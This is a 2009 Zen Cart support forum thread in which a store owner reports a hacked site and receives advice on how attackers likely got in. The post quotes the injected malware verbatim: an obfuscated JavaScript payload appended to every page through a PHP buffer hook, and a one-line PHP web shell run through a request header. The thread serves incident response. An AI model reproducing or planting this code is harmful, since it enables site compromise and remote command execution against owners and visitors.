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Client site hacked

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13 Dec 2009, 12:04 PM
#1
milkyway avatar

milkyway

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Aug 2006
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Singapore
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Client site hacked

Dear Zencart Support,

I have a client store http://airbrushmakeup.me which we already updated to latest security patches previously (about 2-3 months ago), however in last few days the site being labeled as 'attack site' from Google (if using FireFox).

I found index.php file has been injected with the following codes:

<?php ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">$a="Z6fpZ3dZ22Z2524aZ253dZ2522dw(dZ2563s(cZ2575Z252cZ25314Z2529);Z2522;Z22;dzZ3dZ22Z2566uZ256ecZ2574ioZ256e dZ2577(Z2574)Z257bcaZ253dZ2527Z252564ocuZ2525Z2536deZ25256eZ2574.wZ252572iZ2574Z252565Z252528Z25252Z2532Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscrZ252569ptZ252520lZ2561Z256eZ252567Z252575Z2561Z252567Z252565Z25253dZ25255cZ252522jaZ2576Z2561Z2573criZ252570tZ25255Z2563Z252522Z25253eZ2527;cZ2563Z253dZ2527Z25253cZ25255cZ25252fscZ2572Z2569Z252570tZ25253eZ2527;evalZ2528uneZ2573Z2563aZ2570Z2565(Z2574Z2529)Z257d;Z22;czZ3dZ22Z2566uZ256eZ2563tiZ256fZ256e czZ2528Z2563z)Z257bretZ2575Z2572Z256e Z2563aZ252bcb+Z2563cZ252bcZ2564+cZ2565+czZ253b};Z22;stZ3dZ22Z2573tZ253dZ2522$Z2561Z253dZ2573tZ253bdZ2563sZ2528Z2564Z2561Z252bdZ2562Z252bZ2564Z2563+Z2564Z2564Z252bdZ2565Z252c1Z2530)Z253bZ2564Z2577Z2528sZ2574Z2529;Z2573tZ253dZ2524aZ253bZ2522;Z22;cbZ3dZ229;sZ2574Z253dZ2574mpZ253dZ2527Z2527;fZ256fZ2572Z2528iZ253d0;Z2569Z253cdZ2573Z252elZ2565nZ22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;dbZ3dZ22gZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;ccZ3dZ22Z2567Z2574h;iZ252b+Z2529Z257btZ256dpZ253ddsZ252eslZ2569ceZ2528i,iZ252b1)Z253bZ2573tZ25Z22;cdZ3dZ223dstZ252bZ2553tZ2572ingZ252eZ2566Z2572omCZ2568aZ2572CZ256fdeZ2528(tmZ2570.Z2563Z2568Z22;caZ3dZ22Z2566unZ2563tioZ256e dZ2563s(Z2564sZ252cesZ2529Z257bdsZ253dunesZ2563apZ2565(dsZ252Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;}zpqd;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;ceZ3dZ22aZ2572CZ256fZ2564Z2565At(Z2530Z2529^(Z25270Z25780Z2530Z2527+esZ2529Z2529);}Z257dZ22;Z69f Z28Z64Z6fZ63uZ6deZ6et.Z63ooZ6biZ65Z2eiZ6edexZ4ff(Z27rfZ35fZ36Z64sZ27)Z3dZ3d-1)Z7bfuncZ74ioZ6e cZ61Z6cZ6cZ62ackZ28xZ29Z7bwiZ6edowZ2eZ74w Z3d Z78;vaZ72 dZ20Z3d newZ20Z44ateZ28Z29Z3bd.sZ65Z74Z54imeZ28xZ5bZ22asZ5fZ6fZ66Z22]*1Z3000)Z3bZ76aZ72 Z68Z20Z3d d.Z67eZ74UZ54CZ48oZ75rsZ28);Z77inZ64ow.Z68 Z3d h;Z69Z66 (hZ20Z3e 8)Z7bZ64Z2esetZ55TCDZ61teZ28Z64.geZ74UTZ43Z44Z61teZ28Z29 Z2d 2)Z3b}Z65lseZ7bd.Z73Z65tUTZ43Z44aZ74eZ28dZ2egZ65tUTZ43DZ61te(Z29 - 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Also I found one file in /images folder with random number and the following codes inside:

<?php system($_SERVER["HTTP_SHELL"]); ?>

We didn't clean this site thoroughly yet, but we will do it soon, just want to know your opinion on it since this codes seems new, unlike the codes we saw in other hacked stores in the past.

Many thanks!

Donny

13 Dec 2009, 2:44 PM
#2
drbyte avatar

drbyte

Sensei

Join Date:
Jan 2004
Posts:
63,513
Plugin Contributions:
177

Re: Client site hacked

  1. Maybe they got in via scripts they left on the server before you patched 2-3 months ago? The June 2009 patch is only good if you also clean the site thoroughly after applying the patch. http://www.zen-cart.com/forum/showthread.php?t=130161

  2. You've not protected the site by removing the "extras" folder as advised here: http://www.zen-cart.com/forum/showthread.php?t=142784 . Maybe they used one of those tools to get in?